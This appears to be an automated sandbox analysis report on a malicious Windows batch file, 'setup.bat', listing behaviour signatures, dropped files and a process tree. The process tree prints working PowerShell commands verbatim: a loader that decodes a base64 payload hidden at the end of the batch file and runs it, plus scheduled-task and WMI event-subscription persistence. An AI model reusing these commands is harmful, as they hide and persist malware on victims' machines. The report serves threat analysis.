Analysis

  • max time kernel
    44s
  • max time network
    40s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/06/2026, 03:48

General

  • Target
    esseidm/setup.bat
  • Size 16.6MB
  • Sample260602-ecwzaadt21
  • SHA256 ea4678072dd10a2bacbd1723558e3442d7864134825409fbb963753966acdc9d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Start PowerShell.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\esseidm\setup.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$f=$env:_OVD_SELF;$l=[IO.File]::ReadAllLines($f);$i=0;for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq ':OVD_F11DA4D0C4BD4D62'){$i=$j+1;break}};$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');[IO.File]::WriteAllBytes($t,$b);Start-Process $t;exit"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2856
      • C:\Users\Admin\AppData\Local\Temp\3204bb62-369f-46ce-ba3b-612ea444157e.exe
        "C:\Users\Admin\AppData\Local\Temp\3204bb62-369f-46ce-ba3b-612ea444157e.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:4028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_56e13d66' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1572
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe"
    1⤵
    • Drops startup file
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_56e13d66' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f56e13d66'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c56e13d66'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f56e13d66'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c56e13d66'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1484

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 3d9b2453c9d240986291cbf8b88ac8c97c1fb8ba07e10e46df85700d547acd0f
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 32bc08c5e4d3fb225bce68f45cff596f7463a64f45be77de5a512808e782d047
        • MD5 SHA1 SHA512 TLSH

        3204bb62-369f-46ce-ba3b-612ea444157e.exe

        • Path C:\Users\Admin\AppData\Local\Temp\3204bb62-369f-46ce-ba3b-612ea444157e.exe
        • Size 12.1MB
        • SHA256 a42fa4a574d9f51dfc4d0cc487b3b2dddeb011c5a1dc9cfbe24725a83eaa8c33
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_qn14y0lc.gyu.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qn14y0lc.gyu.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1572-42-0x0000022F41A50000-0x0000022F41A6C000-memory.dmp

        memory/1572-43-0x0000022F41AB0000-0x0000022F41B63000-memory.dmp

        memory/1572-44-0x0000022F41A40000-0x0000022F41A4A000-memory.dmp

        memory/1572-45-0x0000022F41DC0000-0x0000022F41DDC000-memory.dmp

        memory/2856-0-0x000001A1CE5F0000-0x000001A1CE600000-memory.dmp

        memory/2856-1-0x000001A1B4DC0000-0x000001A1B4DE2000-memory.dmp

        memory/2856-8-0x000001A1CE5F0000-0x000001A1CE600000-memory.dmp